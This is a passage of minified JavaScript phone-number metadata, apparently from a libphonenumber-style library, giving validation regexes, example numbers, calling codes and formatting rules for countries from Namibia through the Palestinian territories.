$3",["8"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],NA:[,[,,"[68]\\d{7,8}",,,,,,,[8,9]],[,,"64426\\d{3}|6(?:1(?:2[2-7]|3[01378]|4[0-4])|254|32[0237]|4(?:27|41|5[25])|52[236-8]|626|7(?:2[2-4]|30))\\d{4,5}|6(?:1(?:(?:0\\d|2[0189]|3[24-69]|4[5-9])\\d|17|69|7[014])|2(?:17|5[0-36-8]|69|70)|3(?:17|2[14-689]|34|6[289]|7[01]|81)|4(?:17|2[0-2]|4[06]|5[0137]|69|7[01])|5(?:17|2[0459]|69|7[01])|6(?:17|25|38|42|69|7[01])|7(?:17|2[569]|3[13]|6[89]|7[01]))\\d{4}",
,,,"61221234"],[,,"(?:60|8[1245])\\d{7}",,,,"811234567",,,[9]],[,,"80\\d{7}",,,,"800123456",,,[9]],[,,"8701\\d{5}",,,,"870123456",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"8(?:3\\d\\d|86)\\d{5}",,,,"88612345"],"NA",264,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["88"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["6"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["87"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["8"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,
[-1]],,,[,,,,,,,,,[-1]]],NC:[,[,,"(?:050|[2-57-9]\\d\\d)\\d{3}",,,,,,,[6]],[,,"(?:2[03-9]|3[0-5]|4[1-7]|88)\\d{4}",,,,"201234"],[,,"(?:5[0-4]|[79]\\d|8[0-79])\\d{4}",,,,"751234"],[,,"050\\d{3}",,,,"050012"],[,,"36\\d{4}",,,,"366711"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"NC",687,"00",,,,,,,,[[,"(\\d{3})","$1",["5[6-8]"]],[,"(\\d{2})(\\d{2})(\\d{2})","$1.$2.$3",["[02-57-9]"]]],[[,"(\\d{2})(\\d{2})(\\d{2})","$1.$2.$3",["[02-57-9]"]]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,
,,,,,,,,[-1]]],NE:[,[,,"[027-9]\\d{7}",,,,,,,[8]],[,,"2(?:0(?:20|3[1-8]|4[13-5]|5[14]|6[14578]|7[1-578])|1(?:4[145]|5[14]|6[14-68]|7[169]|88))\\d{4}",,,,"20201234"],[,,"(?:23|7[0467]|[89]\\d)\\d{6}",,,,"93123456"],[,,"08\\d{6}",,,,"08123456"],[,,"09\\d{6}",,,,"09123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"NE",227,"00",,,,,,,,[[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["08"]],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[089]|2[013]|7[0467]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],
[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],NF:[,[,,"[13]\\d{5}",,,,,,,[6],[5]],[,,"(?:1(?:06|17|28|39)|3[0-2]\\d)\\d{3}",,,,"106609",,,,[5]],[,,"(?:14|3[58])\\d{4}",,,,"381234",,,,[5]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"NF",672,"00",,,,"([0-258]\\d{4})$","3$1",,,[[,"(\\d{2})(\\d{4})","$1 $2",["1[0-3]"]],[,"(\\d)(\\d{5})","$1 $2",["[13]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],NG:[,[,,"38\\d{6}|[78]\\d{9,13}|(?:20|9\\d)\\d{8}",
,,,,,,[8,10,11,12,13,14],[6,7]],[,,"(?:20(?:[1259]\\d|3[013-9]|4[1-8]|6[024-689]|7[1-79]|8[2-9])|38)\\d{6}",,,,"2033123456",,,[8,10],[6,7]],[,,"(?:702[0-24-9]|819[01])\\d{6}|(?:7(?:0[13-9]|[12]\\d)|8(?:0[1-9]|1[0-8])|9(?:0[1-9]|1[1-6]))\\d{7}",,,,"8021234567",,,[10]],[,,"800\\d{7,11}",,,,"80017591759",,,[10,11,12,13,14]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"NG",234,"009","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{2,3})","$1 $2 $3",["3"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3,4})",
"$1 $2 $3",["[7-9]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["20[129]"],"0$1"],[,"(\\d{4})(\\d{2})(\\d{4})","$1 $2 $3",["2"],"0$1"],[,"(\\d{3})(\\d{4})(\\d{4,5})","$1 $2 $3",["[78]"],"0$1"],[,"(\\d{3})(\\d{5})(\\d{5,6})","$1 $2 $3",["[78]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"700\\d{7,11}",,,,"7001234567",,,[10,11,12,13,14]],,,[,,,,,,,,,[-1]]],NI:[,[,,"(?:1800|[25-8]\\d{3})\\d{4}",,,,,,,[8]],[,,"2\\d{7}",,,,"21234567"],[,,"(?:5(?:5[0-7]|[78]\\d)|6(?:20|3[035]|4[045]|5[05]|77|8[1-9]|9[059])|(?:7[5-8]|8\\d)\\d)\\d{5}",
,,,"81234567"],[,,"1800\\d{4}",,,,"18001234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"NI",505,"00",,,,,,,,[[,"(\\d{4})(\\d{4})","$1 $2",["[125-8]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],NL:[,[,,"(?:[124-7]\\d\\d|3(?:[02-9]\\d|1[0-8]))\\d{6}|8\\d{6,9}|9\\d{6,10}|1\\d{4,5}",,,,,,,[5,6,7,8,9,10,11]],[,,"(?:1(?:[035]\\d|1[13-578]|6[124-8]|7[24]|8[0-467])|2(?:[0346]\\d|2[2-46-9]|5[125]|9[479])|3(?:[03568]\\d|1[3-8]|2[01]|4[1-8])|4(?:[0356]\\d|1[1-368]|7[58]|8[15-8]|9[23579])|5(?:[0358]\\d|[19][1-9]|2[1-57-9]|4[13-8]|6[126]|7[0-3578])|7\\d\\d)\\d{6}",
,,,"101234567",,,[9]],[,,"(?:6[1-58]|970\\d)\\d{7}",,,,"612345678",,,[9,11]],[,,"800\\d{4,7}",,,,"8001234",,,[7,8,9,10]],[,,"90[069]\\d{4,7}",,,,"9061234",,,[7,8,9,10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:85|91)\\d{7}",,,,"851234567",,,[9]],"NL",31,"00","0",,,"0",,,,[[,"(\\d{4})","$1",["1[238]|[34]"]],[,"(\\d{2})(\\d{3,4})","$1 $2",["14"]],[,"(\\d{6})","$1",["1"]],[,"(\\d{3})(\\d{4,7})","$1 $2",["[89]0"],"0$1"],[,"(\\d{2})(\\d{7})","$1 $2",["66"],"0$1"],[,"(\\d)(\\d{8})","$1 $2",["6"],"0$1"],[,
"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["1[16-8]|2[259]|3[124]|4[17-9]|5[124679]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[1-578]|91"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{5})","$1 $2 $3",["9"],"0$1"]],[[,"(\\d{3})(\\d{4,7})","$1 $2",["[89]0"],"0$1"],[,"(\\d{2})(\\d{7})","$1 $2",["66"],"0$1"],[,"(\\d)(\\d{8})","$1 $2",["6"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["1[16-8]|2[259]|3[124]|4[17-9]|5[124679]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[1-578]|91"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{5})",
"$1 $2 $3",["9"],"0$1"]],[,,"66\\d{7}",,,,"662345678",,,[9]],,,[,,"140(?:1[035]|2[0346]|3[03568]|4[0356]|5[0358]|8[458])|140(?:1[16-8]|2[259]|3[124]|4[17-9]|5[124679]|7)\\d",,,,,,,[5,6]],[,,"140(?:1[035]|2[0346]|3[03568]|4[0356]|5[0358]|8[458])|(?:140(?:1[16-8]|2[259]|3[124]|4[17-9]|5[124679]|7)|8[478]\\d{6})\\d",,,,"14020",,,[5,6,9]],,,[,,,,,,,,,[-1]]],NO:[,[,,"(?:0|[2-9]\\d{3})\\d{4}",,,,,,,[5,8]],[,,"(?:2[1-4]|3[1-3578]|5[1-35-7]|6[1-4679]|7[0-8])\\d{6}",,,,"21234567",,,[8]],[,,"(?:4[015-8]|9\\d)\\d{6}",
,,,"40612345",,,[8]],[,,"80[01]\\d{5}",,,,"80012345",,,[8]],[,,"82[09]\\d{5}",,,,"82012345",,,[8]],[,,"810(?:0[0-6]|[2-8]\\d)\\d{3}",,,,"81021234",,,[8]],[,,"880\\d{5}",,,,"88012345",,,[8]],[,,"85[0-5]\\d{5}",,,,"85012345",,,[8]],"NO",47,"00",,,,,,,,[[,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["8"]],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-79]"]]],,[,,,,,,,,,[-1]],1,"[02-689]|7[0-8]",[,,,,,,,,,[-1]],[,,"(?:0[2-9]|81(?:0(?:0[7-9]|1\\d)|5\\d\\d))\\d{3}",,,,"02000"],,,[,,"81[23]\\d{5}",,
,,"81212345",,,[8]]],NP:[,[,,"(?:1\\d|9)\\d{9}|[1-9]\\d{7}",,,,,,,[8,10,11],[6,7]],[,,"(?:1[0-6]\\d|99[02-6])\\d{5}|(?:2[13-79]|3[135-8]|4[146-9]|5[135-7]|6[13-9]|7[15-9]|8[1-46-9]|9[1-7])[2-6]\\d{5}",,,,"14567890",,,[8],[6,7]],[,,"9(?:00|6[0-3]|7[024-6]|8[0-24-68])\\d{7}",,,,"9841234567",,,[10]],[,,"1(?:66001|800\\d\\d)\\d{5}",,,,"16600101234",,,[11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"NP",977,"00","0",,,"0",,,,[[,"(\\d)(\\d{7})","$1-$2",["1[2-6]"],"0$1"],[,"(\\d{2})(\\d{6})",
"$1-$2",["1[01]|[2-8]|9(?:[1-59]|[67][2-6])"],"0$1"],[,"(\\d{3})(\\d{7})","$1-$2",["9"]],[,"(\\d{4})(\\d{2})(\\d{5})","$1-$2-$3",["1"]]],[[,"(\\d)(\\d{7})","$1-$2",["1[2-6]"],"0$1"],[,"(\\d{2})(\\d{6})","$1-$2",["1[01]|[2-8]|9(?:[1-59]|[67][2-6])"],"0$1"],[,"(\\d{3})(\\d{7})","$1-$2",["9"]]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],NR:[,[,,"(?:444|(?:55|8\\d)\\d|666)\\d{4}",,,,,,,[7]],[,,"444\\d{4}",,,,"4441234"],[,,"(?:55[3-9]|666|8\\d\\d)\\d{4}",,,,"5551234"],[,,,,,,
,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"NR",674,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[4-68]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],NU:[,[,,"(?:[4-7]|888\\d)\\d{3}",,,,,,,[4,7]],[,,"[47]\\d{3}",,,,"7012",,,[4]],[,,"(?:[56]|888[1-9])\\d{3}",,,,"8884012"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"NU",683,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["8"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],
[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],NZ:[,[,,"[1289]\\d{9}|50\\d{5}(?:\\d{2,3})?|[27-9]\\d{7,8}|(?:[34]\\d|6[0-35-9])\\d{6}|8\\d{4,6}",,,,,,,[5,6,7,8,9,10]],[,,"240\\d{5}|(?:3[2-79]|[49][2-9]|6[235-9]|7[2-57-9])\\d{6}",,,,"32345678",,,[8],[7]],[,,"2(?:[0-27-9]\\d|6)\\d{6,7}|2(?:1\\d|75)\\d{5}",,,,"211234567",,,[8,9,10]],[,,"508\\d{6,7}|80\\d{6,8}",,,,"800123456",,,[8,9,10]],[,,"(?:1[13-57-9]\\d{5}|50(?:0[08]|30|66|77|88))\\d{3}|90\\d{6,8}",,,,"900123456",,,[7,8,9,10]],[,,,,,,,,,[-1]],[,,"70\\d{7}",
,,,"701234567",,,[9]],[,,,,,,,,,[-1]],"NZ",64,"0(?:0|161)","0",,,"0",,"00",,[[,"(\\d{2})(\\d{3,8})","$1 $2",["8[1-79]"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2,3})","$1 $2 $3",["50[036-8]|8|90","50(?:[0367]|88)|8|90"],"0$1"],[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["24|[346]|7[2-57-9]|9[2-9]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["2(?:10|74)|[589]"],"0$1"],[,"(\\d{2})(\\d{3,4})(\\d{4})","$1 $2 $3",["1|2[028]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,5})","$1 $2 $3",["2(?:[169]|7[0-35-9])|7"],"0$1"]],
,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"8(?:1[16-9]|22|3\\d|4[045]|5[459]|6[235-9]|7[0-3579]|90)\\d{2,7}",,,,"83012378"],,,[,,,,,,,,,[-1]]],OM:[,[,,"(?:1505|[279]\\d{3}|500)\\d{4}|800\\d{5,6}",,,,,,,[7,8,9]],[,,"2[1-6]\\d{6}",,,,"23123456",,,[8]],[,,"(?:1505|90[1-9]\\d)\\d{4}|(?:7[126-9]|9[1-9])\\d{6}",,,,"92123456",,,[8]],[,,"8007\\d{4,5}|(?:500|800[05])\\d{4}",,,,"80071234"],[,,"900\\d{5}",,,,"90012345",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"OM",968,"00",,,,,,,,[[,"(\\d{3})(\\d{4,6})",
"$1 $2",["[58]"]],[,"(\\d{2})(\\d{6})","$1 $2",["2"]],[,"(\\d{4})(\\d{4})","$1 $2",["[179]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],PA:[,[,,"(?:00800|8\\d{3})\\d{6}|[68]\\d{7}|[1-57-9]\\d{6}",,,,,,,[7,8,10,11]],[,,"(?:1(?:0\\d|1[479]|2[37]|3[0137]|4[17]|5[05]|6[058]|7[0167]|8[2358]|9[1389])|2(?:[0235-79]\\d|1[0-7]|4[013-9]|8[02-9])|3(?:[089]\\d|1[0-7]|2[0-5]|33|4[0-79]|5[0-35]|6[068]|7[0-8])|4(?:00|3[0-579]|4\\d|7[0-57-9])|5(?:[01]\\d|2[0-7]|[56]0|79)|7(?:0[09]|2[0-26-8]|3[03]|4[04]|5[05-9]|6[0156]|7[0-24-9]|8[5-9]|90)|8(?:09|2[89]|3\\d|4[0-24-689]|5[014]|8[02])|9(?:0[5-9]|1[0135-8]|2[036-9]|3[35-79]|40|5[0457-9]|6[05-9]|7[04-9]|8[35-8]|9\\d))\\d{4}",
,,,"2001234",,,[7]],[,,"(?:1[16]1|21[89]|6\\d{3}|8(?:1[01]|7[23]))\\d{4}",,,,"61234567",,,[7,8]],[,,"800\\d{4,5}|(?:00800|800\\d)\\d{6}",,,,"8001234"],[,,"(?:8(?:22|55|60|7[78]|86)|9(?:00|81))\\d{4}",,,,"8601234",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"PA",507,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1-$2",["[1-57-9]"]],[,"(\\d{4})(\\d{4})","$1-$2",["[68]"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["8"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],PE:[,[,,"(?:[14-8]|9\\d)\\d{7}",
,,,,,,[8,9],[6,7]],[,,"(?:(?:4[34]|5[14])[0-8]\\d|7(?:173|3[0-8]\\d)|8(?:10[05689]|6(?:0[06-9]|1[6-9]|29)|7(?:0[569]|[56]0)))\\d{4}|(?:1[0-8]|4[12]|5[236]|6[1-7]|7[246]|8[2-4])\\d{6}",,,,"11234567",,,[8],[6,7]],[,,"9\\d{8}",,,,"912345678",,,[9]],[,,"800\\d{5}",,,,"80012345",,,[8]],[,,"805\\d{5}",,,,"80512345",,,[8]],[,,"801\\d{5}",,,,"80112345",,,[8]],[,,"80[24]\\d{5}",,,,"80212345",,,[8]],[,,,,,,,,,[-1]],"PE",51,"00|19(?:1[124]|77|90)00","0"," Anexo ",,"0",,"00",,[[,"(\\d{3})(\\d{5})","$1 $2",["80"],
"(0$1)"],[,"(\\d)(\\d{7})","$1 $2",["1"],"(0$1)"],[,"(\\d{2})(\\d{6})","$1 $2",["[4-8]"],"(0$1)"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["9"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],PF:[,[,,"4\\d{5}(?:\\d{2})?|8\\d{7,8}",,,,,,,[6,8,9]],[,,"4(?:0[4-689]|9[4-68])\\d{5}",,,,"40412345",,,[8]],[,,"8[7-9]\\d{6}",,,,"87123456",,,[8]],[,,"80[0-5]\\d{6}",,,,"800012345",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"499\\d{5}",,,,"49901234",,,[8]],"PF",689,"00",
,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["44"]],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["4|8[7-9]"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"]]],,[,,,,,,,,,[-1]],,,[,,"44\\d{4}",,,,,,,[6]],[,,"44\\d{4}",,,,"440123",,,[6]],,,[,,,,,,,,,[-1]]],PG:[,[,,"(?:180|[78]\\d{3})\\d{4}|(?:[2-589]\\d|64)\\d{5}",,,,,,,[7,8]],[,,"(?:(?:3[0-2]|4[257]|5[34]|9[78])\\d|64[1-9]|85[02-46-9])\\d{4}",,,,"3123456",,,[7]],[,,"(?:7\\d|8[1-38])\\d{6}",,,,"70123456",,,[8]],[,,"180\\d{4}",,
,,"1801234",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"2(?:0[0-57]|7[568])\\d{4}",,,,"2751234",,,[7]],"PG",675,"00|140[1-3]",,,,,,"00",,[[,"(\\d{3})(\\d{4})","$1 $2",["18|[2-69]|85"]],[,"(\\d{4})(\\d{4})","$1 $2",["[78]"]]],,[,,"27[01]\\d{4}",,,,"2700123",,,[7]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],PH:[,[,,"(?:[2-7]|9\\d)\\d{8}|2\\d{5}|(?:1800|8)\\d{7,9}",,,,,,,[6,8,9,10,11,12,13],[4,5,7]],[,,"(?:(?:2[3-8]|3[2-68]|4[2-9]|5[2-6]|6[2-58]|7[24578])\\d{3}|88(?:22\\d\\d|42))\\d{4}|(?:2|8[2-8]\\d\\d)\\d{5}",
,,,"232345678",,,[6,8,9,10],[4,5,7]],[,,"(?:8(?:1[37]|9[5-8])|9(?:0[5-9]|1[0-24-9]|[235-7]\\d|4[2-9]|8[135-9]|9[1-9]))\\d{7}",,,,"9051234567",,,[10]],[,,"1800\\d{7,9}",,,,"180012345678",,,[11,12,13]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"PH",63,"00","0",,,"0",,,,[[,"(\\d)(\\d{5})","$1 $2",["2"],"(0$1)"],[,"(\\d{4})(\\d{4,6})","$1 $2",["3(?:23|39|46)|4(?:2[3-6]|[35]9|4[26]|76)|544|88[245]|(?:52|64|86)2","3(?:230|397|461)|4(?:2(?:35|[46]4|51)|396|4(?:22|63)|59[347]|76[15])|5(?:221|446)|642[23]|8(?:622|8(?:[24]2|5[13]))"],
"(0$1)"],[,"(\\d{5})(\\d{4})","$1 $2",["346|4(?:27|9[35])|883","3469|4(?:279|9(?:30|56))|8834"],"(0$1)"],[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["2"],"(0$1)"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[3-7]|8[2-8]"],"(0$1)"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[89]"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1"]],[,"(\\d{4})(\\d{1,2})(\\d{3})(\\d{4})","$1 $2 $3 $4",["1"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],PK:[,[,,"122\\d{6}|[24-8]\\d{10,11}|9(?:[013-9]\\d{8,10}|2(?:[01]\\d\\d|2(?:[06-8]\\d|1[01]))\\d{7})|(?:[2-8]\\d{3}|92(?:[0-7]\\d|8[1-9]))\\d{6}|[24-9]\\d{8}|[89]\\d{7}",
,,,,,,[8,9,10,11,12],[5,6,7]],[,,"(?:(?:21|42)[2-9]|58[126])\\d{7}|(?:2[25]|4[0146-9]|5[1-35-7]|6[1-8]|7[14]|8[16]|91)[2-9]\\d{6,7}|(?:2(?:3[2358]|4[2-4]|9[2-8])|45[3479]|54[2-467]|60[468]|72[236]|8(?:2[2-689]|3[23578]|4[3478]|5[2356])|9(?:2[2-8]|3[27-9]|4[2-6]|6[3569]|9[25-8]))[2-9]\\d{5,6}",,,,"2123456789",,,[9,10],[5,6,7,8]],[,,"3(?:[0-247]\\d|3[0-79]|55|64)\\d{7}",,,,"3012345678",,,[10]],[,,"800\\d{5}(?:\\d{3})?",,,,"80012345",,,[8,11]],[,,"900\\d{5}",,,,"90012345",,,[8]],[,,,,,,,,,[-1]],[,,"122\\d{6}",
,,,"122044444",,,[9]],[,,,,,,,,,[-1]],"PK",92,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3})(\\d{2,7})","$1 $2 $3",["[89]0"],"0$1"],[,"(\\d{4})(\\d{5})","$1 $2",["1"]],[,"(\\d{3})(\\d{6,7})","$1 $2",["2(?:3[2358]|4[2-4]|9[2-8])|45[3479]|54[2-467]|60[468]|72[236]|8(?:2[2-689]|3[23578]|4[3478]|5[2356])|9(?:2[2-8]|3[27-9]|4[2-6]|6[3569]|9[25-8])","9(?:2[3-8]|98)|(?:2(?:3[2358]|4[2-4]|9[2-8])|45[3479]|54[2-467]|60[468]|72[236]|8(?:2[2-689]|3[23578]|4[3478]|5[2356])|9(?:22|3[27-9]|4[2-6]|6[3569]|9[25-7]))[2-9]"],
"(0$1)"],[,"(\\d{2})(\\d{7,8})","$1 $2",["(?:2[125]|4[0-246-9]|5[1-35-7]|6[1-8]|7[14]|8[16]|91)[2-9]"],"(0$1)"],[,"(\\d{5})(\\d{5})","$1 $2",["58"],"(0$1)"],[,"(\\d{3})(\\d{7})","$1 $2",["3"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["2[125]|4[0-246-9]|5[1-35-7]|6[1-8]|7[14]|8[16]|91"],"(0$1)"],[,"(\\d{3})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["[24-9]"],"(0$1)"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"(?:2(?:[125]|3[2358]|4[2-4]|9[2-8])|4(?:[0-246-9]|5[3479])|5(?:[1-35-7]|4[2-467])|6(?:0[468]|[1-8])|7(?:[14]|2[236])|8(?:[16]|2[2-689]|3[23578]|4[3478]|5[2356])|9(?:1|22|3[27-9]|4[2-6]|6[3569]|9[2-7]))111\\d{6}",
,,,"21111825888",,,[11,12]],,,[,,,,,,,,,[-1]]],PL:[,[,,"(?:6|8\\d\\d)\\d{7}|[1-9]\\d{6}(?:\\d{2})?|[26]\\d{5}",,,,,,,[6,7,8,9,10]],[,,"47\\d{7}|(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])(?:[02-9]\\d{6}|1(?:[0-8]\\d{5}|9\\d{3}(?:\\d{2})?))",,,,"123456789",,,[7,9]],[,,"21(?:1[013-5]|2\\d)\\d{5}|(?:45|5[0137]|6[069]|7[2389]|88)\\d{7}",,,,"512345678",,,[9]],[,,"800\\d{6,7}",,,,"800123456",,,[9,10]],[,,"70[01346-8]\\d{6}",,,,"701234567",,,[9]],[,,"801\\d{6}",,,,"801234567",
,,[9]],[,,,,,,,,,[-1]],[,,"39\\d{7}",,,,"391234567",,,[9]],"PL",48,"00",,,,,,,,[[,"(\\d{5})","$1",["19"]],[,"(\\d{3})(\\d{3})","$1 $2",["11|20|64"]],[,"(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3",["(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])1","(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])19"]],[,"(\\d{3})(\\d{2})(\\d{2,3})","$1 $2 $3",["64"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["21|39|45|5[0137]|6[0469]|7[02389]|8(?:0[14]|8)"]],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})",
"$1 $2 $3 $4",["1[2-8]|[2-7]|8[1-79]|9[145]"]],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["8"]]],,[,,"64\\d{4,7}",,,,"641234567",,,[6,7,8,9]],,,[,,,,,,,,,[-1]],[,,"804\\d{6}",,,,"804123456",,,[9]],,,[,,,,,,,,,[-1]]],PM:[,[,,"[45]\\d{5}|(?:708|80\\d)\\d{6}",,,,,,,[6,9]],[,,"(?:4[1-35-7]|5[01])\\d{4}",,,,"430123",,,[6]],[,,"(?:4[02-4]|5[056]|708[45][0-5])\\d{4}",,,,"551234"],[,,"80[0-5]\\d{6}",,,,"800012345",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"PM",508,"00","0",,,
"0",,,,[[,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["[45]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["7"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],PR:[,[,,"(?:[589]\\d\\d|787)\\d{7}",,,,,,,[10],[7]],[,,"(?:787|939)[2-9]\\d{6}",,,,"7872345678",,,,[7]],[,,"(?:787|939)[2-9]\\d{6}",,,,"7872345678",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002345678"],[,,"900[2-9]\\d{6}",,,,"9002345678"],[,,
,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"PR",1,"011","1",,,"1",,,1,,,[,,,,,,,,,[-1]],,"787|939",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],PS:[,[,,"[2489]2\\d{6}|(?:1\\d|5)\\d{8}",,,,,,,[8,9,10],[7]],[,,"(?:22[2-47-9]|42[45]|82[014-68]|92[3569])\\d{5}",
